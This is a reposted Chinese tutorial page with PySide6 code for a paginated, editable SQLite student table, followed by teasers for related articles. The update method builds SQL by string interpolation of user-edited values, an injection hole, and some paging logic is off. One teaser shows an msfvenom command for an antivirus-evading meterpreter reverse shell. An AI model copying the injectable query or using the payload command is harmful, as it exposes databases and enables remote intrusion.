github 中关于Pyqt 的module view 操作练习

news2025/6/24 17:16:48

代码摘自,Pyside6 中的示例代码部分

# -*- coding: utf-8 -*- 

import sys
from PySide6.QtWidgets import *
from PySide6.QtGui import *
from PySide6.QtCore import *
from PySide6.QtSql import QSqlDatabase, QSqlQueryModel, QSqlQuery
import os
os.chdir(os.path.dirname(__file__))

ID, NAME, SUBJECT, SEX, AGE, SCORE, DESCRIBE = range(7)

class CustomSqlModel(QSqlQueryModel):
    editSignal = Signal()

    def __init__(self):
        super(CustomSqlModel, self).__init__()

    def data(self, index: QModelIndex, role=Qt.DisplayRole):
        value = QSqlQueryModel.data(self, index, role)

        # 调整数据显示内容
        if value is not None and role == Qt.DisplayRole:
            if index.column() == ID:
                return '#' + str(value)
            elif index.column() == SCORE:
                return int(value + 0.5)

        # 设置前景色
        if role == Qt.ForegroundRole:
            if index.column() == NAME:
                return QColor(Qt.blue)
            elif index.column() == SUBJECT:
                return QColor(Qt.darkYellow)
            elif index.column() == SCORE:
                score = QSqlQueryModel.data(self, index, Qt.DisplayRole)
                if score < 80:
                    return QColor(Qt.black)
                elif score < 90:
                    return QColor(Qt.darkGreen)
                elif score < 100:
                    return QColor(Qt.red)
        return value

    def flags(self, index: QModelIndex):
        # 设置允许编辑的行
        flags = QSqlQueryModel.flags(self, index)
        if index.column() in [NAME, SUBJECT, AGE, SCORE]:
            flags |= Qt.ItemIsEditable
        return flags

    def setData(self, index: QModelIndex, value, role=Qt.EditRole):

        # 限制特定列才能编辑
        if index.column() not in [NAME, SUBJECT, AGE, SCORE]:
            return False

        # 数值发生变化才可以编辑
        valueOld = self.data(index, Qt.DisplayRole)
        if valueOld == value:
            return False

        # 获取目标行列值
        primaryKeyIndex = QSqlQueryModel.index(self, index.row(), ID)
        id = self.data(primaryKeyIndex, role)
        fieldName = self.record().fieldName(index.column())

        # 修改行列
        ok = self.setSqlData(id, fieldName, value)

        # 更新视图
        self.editSignal.emit()
        return ok

    def setSqlData(self, id: int, fieldName: str, value: str):
        query = QSqlQuery()
        _str = f"update student set {fieldName} = '{value}' where id = {id}"
        return query.exec(_str)


# QSpinBox自定义委托,适用于整数
class IntegerColumnDelegate(QStyledItemDelegate):
    def __init__(self, minimum=0, maximum=100, parent=None):
        super(IntegerColumnDelegate, self).__init__(parent)
        self.minimum = minimum
        self.maximum = maximum

    def createEditor(self, parent: QWidget, option: QStyleOptionViewItem, index: QModelIndex):
        spinbox = QSpinBox(parent)
        spinbox.setRange(self.minimum, self.maximum)
        spinbox.setAlignment(Qt.AlignRight | Qt.AlignVCenter)
        return spinbox

    def setEditorData(self, editor: QSpinBox, index: QModelIndex):
        value = int(index.model().data(index, Qt.DisplayRole))
        editor.setValue(value)

    def setModelData(self, editor: QSpinBox, model: QAbstractItemModel, index: QModelIndex):
        editor.interpretText()
        model.setData(index, editor.value())


class SqlQueryModelDemo(QWidget):

    def __init__(self):
        super().__init__()
        self.setWindowTitle("分页查询+使用自定义模型和委托实现编辑功能")
        self.resize(750, 300)

        # 创建窗口
        self.createWindow()
        # 设置表格
        self.setTableView()

        # 信号槽连接
        self.firstButton.clicked.connect(self.onFirstButtonClick)
        self.prevButton.clicked.connect(self.onPrevButtonClick)
        self.nextButton.clicked.connect(self.onNextButtonClick)
        self.lastButton.clicked.connect(self.onLastButtonClick)
        self.switchPageButton.clicked.connect(self.onSwitchPageButtonClick)

        # 上下文菜单
        self.menu = self.generateMenu()
        self.tableView.setContextMenuPolicy(Qt.CustomContextMenu)  ######允许右键产生子菜单
        self.tableView.customContextMenuRequested.connect(self.showMenu)  ####右键菜单

    # 创建窗口
    def createWindow(self):
        # 操作布局
        operatorLayout = QHBoxLayout()
        self.prevButton = QPushButton("前一页")
        self.nextButton = QPushButton("后一页")
        self.firstButton = QPushButton("第一页")
        self.lastButton = QPushButton("最后一页")
        self.switchPageButton = QPushButton("Go")
        self.switchPageLineEdit = QLineEdit()
        self.switchPageLineEdit.setValidator(QIntValidator(self))
        self.switchPageLineEdit.setFixedWidth(40)

        switchPage = QLabel("转到第")
        page = QLabel("页")
        operatorLayout.addWidget(self.firstButton)
        operatorLayout.addWidget(self.prevButton)
        operatorLayout.addWidget(self.nextButton)
        operatorLayout.addWidget(self.lastButton)
        operatorLayout.addWidget(switchPage)
        operatorLayout.addWidget(self.switchPageLineEdit)
        operatorLayout.addWidget(page)
        operatorLayout.addWidget(self.switchPageButton)
        operatorLayout.addWidget(QSplitter())

        # 状态布局
        statusLayout = QHBoxLayout()
        self.totalPageLabel = QLabel()
        self.totalPageLabel.setFixedWidth(70)
        self.currentPageLabel = QLabel()
        self.currentPageLabel.setFixedWidth(70)

        self.totalRecordLabel = QLabel()
        self.totalRecordLabel.setFixedWidth(70)

        statusLayout.addWidget(self.totalPageLabel)
        statusLayout.addWidget(self.currentPageLabel)
        statusLayout.addWidget(QSplitter())
        statusLayout.addWidget(self.totalRecordLabel)

        # 设置表格属性
        self.tableView = QTableView()
        # 表格宽度的自适应调整
        self.tableView.horizontalHeader().setStretchLastSection(True)
        # self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)
        self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)

        # 创建界面
        mainLayout = QVBoxLayout(self)
        mainLayout.addLayout(operatorLayout)
        mainLayout.addWidget(self.tableView)
        mainLayout.addLayout(statusLayout)
        self.setLayout(mainLayout)

    # 设置表格
    def setTableView(self):

        # 声明查询模型
        # self.queryModel = QSqlQueryModel(self)
        self.editModel = CustomSqlModel()

        # 设置当前页
        self.currentPage = 1
        # 每页显示记录数
        self.PageRecordCount = 10
        # 得到总记录数
        self.totalRecrodCount = self.getTotalRecordCount()
        # 得到总页数
        self.totalPage = int(self.totalRecrodCount / self.PageRecordCount + 0.5)

        # 设置总页数文本
        self.totalPageLabel.setText("总共%d页" % self.totalPage)
        # 设置总记录数
        self.totalRecordLabel.setText("共%d条" % self.totalRecrodCount)

        # 设置模型
        self.tableView.setModel(self.editModel)

        # 显示首页数据
        self.recordQuery(0)
        # 刷新状态
        self.updateStatus()

        # 设置表头
        self.editModel.setHeaderData(ID, Qt.Horizontal, "编号")
        self.editModel.setHeaderData(NAME, Qt.Horizontal, "姓名")
        self.editModel.setHeaderData(SUBJECT, Qt.Horizontal, "科目")
        self.editModel.setHeaderData(SEX, Qt.Horizontal, "性别")
        self.editModel.setHeaderData(AGE, Qt.Horizontal, "年纪")
        self.editModel.setHeaderData(SCORE, Qt.Horizontal, "成绩")
        self.editModel.setHeaderData(DESCRIBE, Qt.Horizontal, "说明")

        # 对特定行列进行委托
        # 设置委托,并设置可以调节的大小
        
        self.ageDelegate = IntegerColumnDelegate(16,40)
        self.tableView.setItemDelegateForColumn(AGE, self.ageDelegate)
        self.scoreDelegate = IntegerColumnDelegate(60,100)
        self.tableView.setItemDelegateForColumn(SCORE, self.scoreDelegate)

        self.editModel.editSignal.connect(self.onEditSingal)

        print('totalRecrodCount=' + str(self.totalRecrodCount))
        print('totalPage=' + str(self.totalPage))

    # 设置上下文菜单
    def generateMenu(self):
        menu = QMenu(self)
        menu.addAction(QIcon("images/up.png"), '第一页', self.onFirstButtonClick, QKeySequence(Qt.CTRL | Qt.Key_F))
        menu.addAction(QIcon("images/left.png"), '前一页', self.onPrevButtonClick, QKeySequence(Qt.CTRL | Qt.Key_P))
        menu.addAction(QIcon("images/right.png"), '后一页', self.onNextButtonClick, QKeySequence(Qt.CTRL | Qt.Key_N))
        menu.addAction(QIcon("images/down.png"), '最后一页', self.onLastButtonClick, QKeySequence(Qt.CTRL | Qt.Key_L))
        menu.addSeparator()
        menu.addAction('全选', lambda: self.tableView.selectAll(), QKeySequence(Qt.CTRL | Qt.Key_A))
        menu.addAction('选择行', lambda: self.tableView.selectRow(self.tableView.currentIndex().row()),
                       QKeySequence(Qt.CTRL | Qt.Key_R))
        menu.addAction('选择列', lambda: self.tableView.selectColumn(self.tableView.currentIndex().column()),
                       QKeySequence(Qt.CTRL | Qt.SHIFT | Qt.Key_R))
        return menu

    def showMenu(self, pos):
        self.menu.exec(QCursor.pos())  # 显示菜单

    # 得到记录数
    def getTotalRecordCount(self):
        self.editModel.setQuery('select count(*) from rmu')
        rowCount = self.editModel.record(0).value(0)
        print('rowCount=' + str(rowCount))
        return rowCount

    # 记录查询
    def recordQuery(self, limitIndex):
        szQuery = ("select * from student limit %d,%d" % (limitIndex, self.PageRecordCount))
        print('query sql=' + szQuery)
        self.editModel.setQuery(szQuery)

    # 刷新状态
    def updateStatus(self):
        szCurrentText = "当前第%d页" % self.currentPage
        self.currentPageLabel.setText(szCurrentText)

        # 设置按钮是否可用
        if self.currentPage == 1:
            self.firstButton.setEnabled(False)
            self.prevButton.setEnabled(False)
            self.nextButton.setEnabled(True)
            self.lastButton.setEnabled(True)
        elif self.currentPage >= self.totalPage - 1:
            self.firstButton.setEnabled(True)
            self.prevButton.setEnabled(True)
            self.nextButton.setEnabled(False)
            self.lastButton.setEnabled(False)
        else:
            self.firstButton.setEnabled(True)
            self.prevButton.setEnabled(True)
            self.nextButton.setEnabled(True)
            self.lastButton.setEnabled(True)

    # 第一页按钮按下
    def onFirstButtonClick(self):
        print('*** onFirstButtonClick ')
        self.recordQuery(0)
        self.currentPage = 1
        self.updateStatus()

    # 前一页按钮按下
    def onPrevButtonClick(self):
        print('*** onPrevButtonClick ')
        limitIndex = (self.currentPage - 2) * self.PageRecordCount
        self.recordQuery(limitIndex)
        self.currentPage -= 1
        self.updateStatus()

    # 后一页按钮按下
    def onNextButtonClick(self):
        print('*** onNextButtonClick ')
        limitIndex = self.currentPage * self.PageRecordCount
        self.recordQuery(limitIndex)
        self.currentPage += 1
        self.updateStatus()

    # 最后一页按钮按下
    def onLastButtonClick(self):
        print('*** onLastButtonClick ')
        limitIndex = (self.totalPage - 1) * self.PageRecordCount
        self.recordQuery(limitIndex)
        self.currentPage = self.totalPage
        self.updateStatus()

    # 转到页按钮按下
    def onSwitchPageButtonClick(self):
        # 得到输入字符串
        szText = self.switchPageLineEdit.text()

        # 是否为空
        if szText == '':
            QMessageBox.information(self, "提示", "请输入跳转页面")
            return

        # 得到页数
        pageIndex = int(szText)
        # 判断是否有指定页
        if pageIndex > self.totalPage or pageIndex < 1:
            QMessageBox.information(self, "提示", "没有指定的页面,请重新输入")
            return

        # 得到查询起始行号
        limitIndex = (pageIndex - 1) * self.PageRecordCount

        # 记录查询
        self.recordQuery(limitIndex)
        # 设置当前页
        self.currentPage = pageIndex
        # 刷新状态
        self.updateStatus()

    def onEditSingal(self):
        print('*** onEditSingal ')
        limitIndex = (self.currentPage - 1) * self.PageRecordCount
        self.recordQuery(limitIndex)
        self.updateStatus()


if __name__ == '__main__':
    app = QApplication(sys.argv)
    db = QSqlDatabase.addDatabase('QSQLITE')
    db.setDatabaseName('./drurmu.db')
    if db.open() is not True:
        QMessageBox.critical(QWidget, 'open error', '数据库打开失败')
        exit()

    demo = SqlQueryModelDemo()
    demo.show()

    sys.exit(app.exec())

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086061.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++学习——“面向对象编程”的涵义

以下内容源于C语言中文网的学习与整理&#xff0c;非原创&#xff0c;如有侵权请告知删除。 类是一个通用的概念&#xff0c;C、Java、C#、PHP 等很多编程语言中都支持类&#xff0c;都可以通过类创建对象。我们可以将类看做是结构体的升级版&#xff0c;C语言的晚辈们看到了C…

Linux网络编程:UDP协议和TCP协议

目录 一. 对于端口号的理解 1.1 网络通信五元组 1.2 端口号的划分策略 二. 网络通信中常用的指令 2.1 netstat指令 2.2 pidof指令 三. udp协议 3.1 udp的概念及特点 3.2 udp协议端格式 3.3 对于面向数据报及应用层发送与读取数据的理解 四. tcp协议的概念及特点 五.…

智能指针简介

智能指针简介 文章目录 智能指针简介摘要什么是智能指针C 98 中的智能指针C 11 中的智能指针C 17 中的智能指针智能指针常用函数 关键字&#xff1a; 智能指针、 auto_ptr、 std::shared_ptr、 std::unique_ptr、 std::weak_ptr 摘要 之前基本都是学习的Qt版本的C&#x…

基于uniapp的商城外卖小程序

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

【数据结构-栈 二】【单调栈】每日温度、接雨水

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【单调栈的应用】&#xff0c;使用【栈】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&am…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode&#xff0c;命令&#xff1a;msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

[Swift]同一个工程管理多个Target

1.准备 先创建一个测试工程“ADemo”&#xff0c;右键其Target选择Duplicate&#xff0c;再复制一个Target为“ADemo2”。 再选择TARGETS下方的“”&#xff0c;添加一个APP到项目中&#xff0c;这个命名为“BDemo”。 2、管理多个Target 可以对三个target分别导入不同的框…

SEO盲目优化带来的严重后果(警惕过度依赖SEO优化的风险)

SEO&#xff08;SearchEngineOptimization&#xff09;优化是提高网站在搜索引擎中排名&#xff0c;吸引更多流量的重要手段。但是&#xff0c;为了追求更高的排名和流量&#xff0c;很多企业或个人对SEO优化盲目依赖&#xff0c;而忽视了网站的质量与用户体验&#xff0c;这将…

python随手小练5

1、求1-100的累加和&#xff08;终止条件 1-100&#xff09;&#xff08;while和for两种&#xff09; #while循环 count 0 index 0 while index < 100:count indexindex 1 print(count)#for循环 sum 0 for i in range(0,101):sum i print(sum)结果&#xff1a; 5050 2…

Go If流程控制与快乐路径原则

Go if流程控制与快乐路径原则 文章目录 Go if流程控制与快乐路径原则一、流程控制基本介绍二、if 语句2.1 if 语句介绍2.2 单分支结构的 if 语句形式2.3 Go 的 if 语句的特点2.3.1 分支代码块左大括号与if同行2.3.2 条件表达式不需要括号 三、操作符3.1 逻辑操作符3.2 操作符的…

【Java 进阶篇】JavaScript二元运算符详解

JavaScript是一门多用途的编程语言&#xff0c;它支持各种运算符&#xff0c;包括二元运算符。二元运算符用于执行两个操作数之间的操作&#xff0c;这两个操作数通常是变量、值或表达式。在本篇博客中&#xff0c;我们将详细探讨JavaScript的二元运算符&#xff0c;包括它们的…

SpringCloud微服务(简略笔记一)

目录 介绍 ​编辑 认识微服务 单体架构 分布式架构 微服务分析&#xff1a; 分布式架构(SpringCloud微服务) 服务拆分与服务远程调用&#xff1a; 提供者与消费者 微服务治理 Eureka注册中心 操作步骤 Ribbon负载均衡 负载均衡流程 自定义负载均衡策略 饥饿加载 …

手把手改进yolo训练自己的数据(坑洼路面识别)

结果展示 在Pothole Detection数据集上对YOLOv7进行微调的步骤如下&#xff1a; 0 环境配置 if not os.path.exists(yolov7): !git clone https://github.com/WongKinYiu/yolov7.git %cd yolov7 !pip install -r requirements.txt数据集准备&#xff1a; 收集一个专门用于po…

栈的运行算法

一&#xff0c;顺序栈的静态分配 二&#xff0c;顺序栈的动态分配 #include<stdio.h> #include<stdlib.h> #define initsize 5 #define incresize 5typedef struct Sqstack{int *base;int *top;int stacksize; }Sqstack;void InitStack(Sqstack *s){(*s).base(int…

数字孪生技术:新零售的未来之路

随着科技的不断进步&#xff0c;新零售产业正经历着巨大的变革。数字孪生作为一种新兴技术正在加速这一变革的进程。它不仅为新零售企业带来了更高效的运营方式&#xff0c;还为消费者提供了更个性化、便捷的购物体验。那么&#xff0c;数字孪生技术究竟如何在新零售产业中发挥…

选择同步云盘工具?这些值得一试的优秀选择!

对于云盘用户而言&#xff0c;同步功能是影响产品选择的重要因素。在日常办公过程中&#xff0c;我们难免会遇到需要查看文件&#xff0c;但是存储文件的原设备不在身边的情况。这个时候同步云盘的重要性就显现出来了. 同步云盘的优势 文件同步&#xff1a;同步云盘可以将文件…

L05_SpringBoot入门

SpringBoot入门 浅谈Restful风格代码实现(并且通过Apifox进行接口测试[以传入json格式数据为例])首先创建一个SpringBoot项目,pom文件包引入如下下面在新建src创建com.ndky.controller包,然后再在包内创建一个HelloController类编写(一个简易的restful风格的代码)编写GET请求代…

正则表达式基础语法

https://tool.oschina.net/regex 正则表达式&#xff1a;检查、匹配字符串的表达式 单个字符匹配&#xff1a; 有特殊含义的匹配&#xff1a; 多次重复匹配&#xff1a; 限定开头结尾的匹配&#xff1a; 贪婪模式&#xff1a;在满足条件的情况下&#xff0c;尽可能多匹配…

Python算法练习 10.12

leetcode 649 Dota2参议院 Dota2 的世界里有两个阵营&#xff1a;Radiant&#xff08;天辉&#xff09;和 Dire&#xff08;夜魇&#xff09; Dota2 参议院由来自两派的参议员组成。现在参议院希望对一个 Dota2 游戏里的改变作出决定。他们以一个基于轮为过程的投票进行。在每…

MNIST字符识别(C++)

构建网络 采用官方示例的的lenet网络 训练 相关文件都已编译好&#xff0c;下载后执行命令即可 .\caffe-bin.exe train --solver .\lenet_solver.prototxt 识别 #include <caffe/caffe.hpp>#include <opencv2/core/core.hpp> #include <opencv2/highgui/hi…